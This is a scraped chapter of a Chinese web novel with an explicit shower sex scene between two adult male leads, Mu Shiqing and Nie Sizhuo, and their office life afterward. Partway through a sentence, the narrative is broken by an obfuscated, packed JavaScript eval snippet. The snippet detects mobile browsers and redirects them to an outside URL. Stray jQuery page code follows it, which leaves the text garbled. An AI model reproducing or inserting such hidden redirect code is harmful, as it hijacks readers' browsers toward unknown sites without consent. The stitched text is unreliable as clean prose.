慕时卿用的是自己的沐浴露,气味很淡,需要仔细闻才能闻到一点点香味,冷冷的,能让人联想到冰川和雪山。
“嗬~”聂司卓呼吸急促,被水幕打湿的胸膛也起伏得厉害,但他还是很守承诺地没让额头和双手沾到一滴水。
这对他来说既是享受也是酷刑。
慕时卿过分得很,用冷白的手指把泡沫涂得到处都是,唯有一个地方,除了最开始用手指点的那两下,之后便没再碰过。
最可气的是,慕时卿一直站在水幕中,把他拿捏得死死的。
“慕总,你居然也会耍无赖。”他勾起嘴角,犬齿却紧紧咬合。
“这不叫耍无赖,”慕时卿将泡沫抹到对面劲瘦的腰上,薄而韧的肌肉手感很好,“这叫在合理范围内利用一切所能利用的,为自己争取最大的主动权。”
泡沫沿着人鱼线一路下滑,覆在了被忽略的地方。
聂司卓双腿肌肉紧绷,尤其是臀部的位置,侧边都凹了进去,他磨着尖尖的犬齿,憋着劲,一字一顿地说道:“受、教、了。”
慕时卿是不知道,教会徒弟饿死师父的道理吗?
待会他一定要以其人之道还治其人之身,不过他可不忍心饿死师父,他只会把师父喂得饱饱的。
微凉的水冲了很久,慕时卿垂眸盯着手里的东西,陷入了沉思。
泡沫都消没了,为什么这东西一点消退的迹象都没有?
“呵呵,”聂司卓看出了慕时卿的困惑,也看穿了慕时卿的计谋,“慕总,这样可不行。”
他可不会像上次那样,不清不楚地就把派单机会浪费掉。
他避开伤口,把身上的泡沫都冲掉,然后将淋浴的水幕关了。
慕时卿疑惑。
“一直开着水多浪费。”聂司卓靠近,同时身长手臂,扯下挂在一旁的毛巾,“我帮你擦擦。”
他隔着毛巾,挑起了慕时卿还滴着水的下巴,顺着漂亮的下颚线往上擦。
慕时卿眯起眼睛,扭头看淋浴的开关。
聂司卓拿着毛巾的手捏住慕时卿的后颈,迫使人跟自己对视:“我只是想帮房东省点水费,慕总不会不体谅我的苦心吧?那我会难过的。”
慕时卿:……
这话听着怎么这么耳熟?
聂司卓继续茶里茶气地说道:“我这不是耍赖哦,只是在合理范围内利用一切所能利用的,为自己争取最大的主动权。”
慕时卿忍不住笑了出来,这种时候学东西倒是快。
聂司卓继续学以致用,按着刚才慕时卿帮他涂抹沐浴露的手法和路线,将人擦了个半干,最后把毛巾扔到一旁,低头亲起人来。
慕时卿被亲得有些失控,手往一旁的淋浴开关上伸,却被一只缠着纱布的手抓住,举起压在了头顶。
“啧,慕总,好没契约精神啊。”聂司卓咬住慕时卿的唇瓣。
“我只是想拿眼镜。”慕时卿下巴微抬,眯起眼睛。
换做平时,戴着眼镜的话,这个动作加眼神会给人一种自信又傲慢的感觉,大多数人都会下意识地想要听命于他,可现在,在聂司卓眼里,这个动作加表情就是在撩拨、在索吻、在请求继续。
“不需要。”聂司卓说,“起码现在不需要,反正你也看不到。”
“什么?”慕时卿眉心微拧,困惑的眼神显得更加懵懂、迷离。
聂司卓轻轻摇了下头,这样的慕时卿太迷人了,他强忍着不舍将人翻转着压向墙面。
不要紧,待会会更迷人。
他取了一些甜橙沐浴露,低声在慕时卿耳边介绍道:“这是纯天然植物萃取的。”
“什么?”慕时卿又一次拧起眉心,他从没这么摸不着头脑过。
怎么又要洗一次澡?
聂司卓笑着咬了一下慕时卿的耳廓。
好可爱。
“嘶~”慕时卿躲闪。
聂司卓早就发现了,慕时卿的耳朵很敏感。
攻略上说,想要攻城略地,最先要做的就是破开城门,他自认是懂些兵法的,结合商场谋略,就是在别人露出一点破绽时,想办法让这个破绽变大,然后适时展现出能填补和解决问题的能力,最终让对方主动寻求合作。
嗯,一般人是这样,但慕时卿绝对不是。
“聂司卓!”慕时卿咬牙切齿。
聂司卓身上有他沐浴露的味道,而他身体里有阳光甜橙的味道。
“你的手……”慕时卿下颚紧绷,再说不出下一个字。
“我知道,不能沾水。”聂司卓很乖地露出酒窝,“我也没让它碰水啊,除非……”
聂司卓顿了顿:“有水流出来。”
慕时卿懊恼地闭起眼睛,是他大意了,居然让聂司卓抢占先机。
聂司卓像是知道他在想什么,安慰道:“这种伺候人的事,不适合慕总,慕总只管享受就好。”
慕时卿居然有点被说服。
他好像确实做不到像聂司卓这样。
聂司卓感觉到慕时卿开始放松,于是放开了被他压在头顶的那只手。
慕时卿睁开眼,稍稍转过脸,琥珀色的眸子嵌在狭长的眼尾处,“你最好说到做到,不然……”
“不然契约作废。”聂司卓帮他把话说完。
“嗯~”一声轻哼从慕时卿喉咙溢出。
聂司卓:“我说了,你只会越来越喜欢我这个房客。”
*
十几分钟后,慕时卿对聂司卓的保证持严重怀疑态度。
刚才一直开的冷水,周围温度偏低,但两人额角都在冒汗。
“嗬~聂司卓,你是要谋杀吗?”慕时卿的汗顺着下颚往下落,最后流到锁骨,才从锁骨滴落到地上。
“就差一点点。”聂司卓亲吻慕时卿的后颈,像是在安抚,也像是在自我安慰。
慕时卿的耐心耗尽,腰也有些僵硬:“你在投入项目时,没有做过调研吗?不知道资金和项目不匹配是动不起来的吗?”
“我……”聂司卓还在努力,“我也不知道你、这么……”
他今天也是第一次实地考察,才知道资金和项目存在巨大差异。
最要紧的是,攻略里没有这个问题的解决办法。
听到聂司卓的评价,慕时卿脸颊发烫。
“难道不是你太……”他咬肌抽动。
“这也是客观事实。”聂司卓对这个客官评价倒是很受用,“要不我重新……”
“不行。”慕时卿拒绝。
别说他没这个体力了,光是想到聂司卓那骨节分明的修长手指,他的脊背就发麻。
“那……”聂司卓抱住慕时卿,“那下次吧。”
慕时卿愣了愣,刚才像咬住猎物不放的狼崽子,居然肯松口了?
“嗯~”
他也觉得僵持下去没有意义。
聂司卓刚要后退,慕时卿收拢双腿,“别动。”
聂司卓秒懂,亲了亲慕时卿红得滴血的耳尖,“你最好了。”
慕时卿别开脸:“快点。”
“嗯。”聂司卓这边答应着,实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261034|181287||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
际却磨磨蹭蹭了将近十分钟。
气得慕时卿都快要骂脏话了:“聂司卓,你能不能有点效率?”
“再等等,快了,预期太高,现在降低预期有点难。”聂司卓为难道。
慕时卿:……
所以,为什么一开始就抱着这么高的预期。
他向后退一小步,想要转过身,没想到无心插柳柳成荫。
预期进度推进10%。
慕时卿:?
聂司卓:!
聂司卓还没来得及高兴,就高兴过了头。
刚才被慕时卿诟病的效率问题一下子就解决了。
慕时卿:……
聂司卓:……
慕时卿又洗了个澡,连着甜橙沐浴露都洗干净了才披上浴衣。
从浴室出来时,他黑着脸,聂司卓则一脸怅然若失。
“你……”他都不知道该说什么好。
聂司卓像是丢了魂,“我?”
慕时卿气人提效率提的不是地方,但看到聂司卓不在状态的样子,又心软了。
确实太快了。
身为男人,他能理解那种挫败感。
他看了看宽敞的床铺,犹豫着要不要让人留下来,就见聂司卓恍恍惚惚地出了房间。
慕时卿:……,看来受到的打击不小。
他本想跟出房间安慰两句,又觉得说多了反而是另一种提醒和打击,而且他是真不会安慰人。
还是等下次派单的时候,再帮对方重新树立信心。
他坐到床上,轻抽了一口气。
今晚受伤的,不止聂司卓一个人。
第二天,两人都没主动提这次不太顺利的派单。
慕时卿还是和往常一样冷静沉稳,安排人向南港传达了将会加快投资重审的消息,聂远山亲自打电话来确认这件事。
慕时卿很有技巧地提了聂司卓在其中的推进作用,聂远山当天就让律师拟定股份转让协议,邮寄到聂司卓手上,协议跟第一笔投资资金到位同时生效。
聂司卓收到协议也没表现出特别高兴,工作起来跟平时没什么两样,但非工作时间就表现得有些痴痴傻傻的,还有些沉默寡言。
慕时卿却总感觉聂司卓经常像狼一样在身后打量着他。
这种情况持续到了周末。
“聂司珵是不是找你了?”周五下班,慕时卿在办公室的更衣间问聂司卓。
“找了,但我没理他。”聂司卓今天像是又恢复了正常,懒懒散散地靠在衣柜边看慕时卿换衣服。
“还是得小心点。”慕时卿换了件休闲的衣服。
聂司卓上前,主动帮忙系起了扣子:“好。”
“周末有什么安排?”慕时卿又问。
唐慧女士旅游回来了,这周末他要回曦景苑,因为股权的事,他还是有些不放心。
“约了个朋友见面。”聂司卓说。
慕时卿不好打听太多,缓缓点了下头:“自己注意安全,有什么给我打电话。”
聂司卓忽然弯唇笑了起来:“慕总,要是你想我了,也可以给我打电话,我可以去曦景苑找你。”
慕时卿挑眉。
才过去几天,又来撩拨他,恢复得未免也太快了吧。
“呵,就你那技术,我可不敢想。”
既然心里素质这么好,那就再捶打一下。
聂司卓不怒反笑,“谁叫慕总你这么会jia~~~嗷嗷嗷嗷嗷嗷~”
他还没说完,脸颊就被慕时卿狠狠地捏住了。